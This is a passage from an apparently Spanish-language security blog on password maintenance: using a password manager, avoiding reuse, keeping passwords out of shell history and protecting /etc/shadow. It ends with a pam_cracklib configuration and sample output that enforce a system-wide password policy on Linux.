También es muy eficaz combinar estas dos técnicas guardando contraseñas aleatorias largas y complejas con un administrador de contraseñas (Keepassxc es la mejor alternativa y al cual más adelante le dedicaremos un apartado en el blog para explicar sus funcionalidades), que a su vez se accederá con una contraseña que deberá usarse solo con ese fin, evitando sobre todo transmitirla alguna vez en cualquier tipo de red. Este método, por supuesto, limita el uso de las contraseñas almacenadas a los terminales donde la base de datos está disponible para lectura (que, por otro lado, podría verse como una característica de seguridad adicional).




Mantenimiento de contraseñas


Una vez que elija una contraseña segura, asegúrese de mantenerla segura. Tenga cuidado con la manipulación y evite reutilizar contraseñas para que los servidores inseguros no puedan filtrar más información de la necesaria. Los administradores de contraseñas pueden ayudar a administrar grandes cantidades de contraseñas complejas: si está copiando y pegando las contraseñas almacenadas del administrador a las aplicaciones que las necesitan, asegúrese de borrar el buffer de copia o portapapeles cada vez y asegúrese de que no se guarden en ningún tipo de log (por ejemplo, no los pegue en la terminal de comandos, que los almacenaría en archivos como .bash_history).

Como regla, no elijas contraseñas inseguras solo porque las más seguras son más difíciles de recordar. Las contraseñas son un acto de equilibrio. Es mejor tener una base de datos encriptada de contraseñas seguras, protegidas por una clave y una contraseña maestra sólida, que tener muchas contraseñas débiles similares.

Otro aspecto de la fortaleza de la frase de contraseña es que no debe ser fácilmente recuperable desde otros lugares. Si utiliza la misma frase de contraseña para su inicio de sesión y para el cifrado del disco, asegúrese de que /etc/shadow también termine en una partición cifrada o utilice un algoritmo de hash fuerte (es decir, sha-512/bcrypt, no md5) para el hash de contraseña almacenado. Conozca más acerca de los hashes SHA aquí.

Forzando el uso de contraseñas seguras usando pam_cracklib.

pam_cracklib ofrece protección contra ataques de fuerza bruta y ayuda a configurar una política de seguridad aplicable a todo el sistema.

Nota: La cuenta root no se ve afectada por la implementación de políticas con pam_cracklib.

A continuación explicaremos cómo llevar a cabo la implementación de esta política para la creación de contraseñas:

1. Solicitar 2 veces la contraseña en caso de error.
2. 10 caracteres de longitud mínima (opción minlen).
3. Al menos 6 caracteres deben ser diferentes de la contraseña anterior al ingresar una nueva (opción difok).
4. Al menos 1 dígito (opción dcredit).
5. Al menos 1 mayúscula (opción ucredit).
6. Al menos 1 carácter especial (opción ocredit).
7. Al menos 1 minúscula (opción icredit).

Editamos el archivo /etc/pam.d/passwd de la siguiente manera:


#%PAM-1.0
password        required        pam_unix.so sha512 shadow nullok
password        required        pam_cracklib.so retry=2 minlen=10 difok=6 dcredit=-1 ucredit=-1 ocredit=-1 lcredit=-1

Ahora vemos un ejemplo de los mensajes que nos arroja cada vez que incumplimos uno de los parámetros anteriores y finalmente nos bloquea los intentos:

[shl@SecHackLabs ~]$ passwd
Changing password for shl.
Current password: 
New password: 
Retype new password: 
BAD PASSWORD: is too similar to the old one
New password: 
BAD PASSWORD: it is too simplistic/systematic
passwd: Have exhausted maximum number of retries for service
passwd: password unchanged

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios en bien, en los medios que indicamos a continuación.
 
Síguenos en Facebook, Twitter, unete a nuestra charla en Riot (Para charlar con nosotros online) o únete a Telegram.

También puedes dejar su donación a nuestra cuenta Paypal.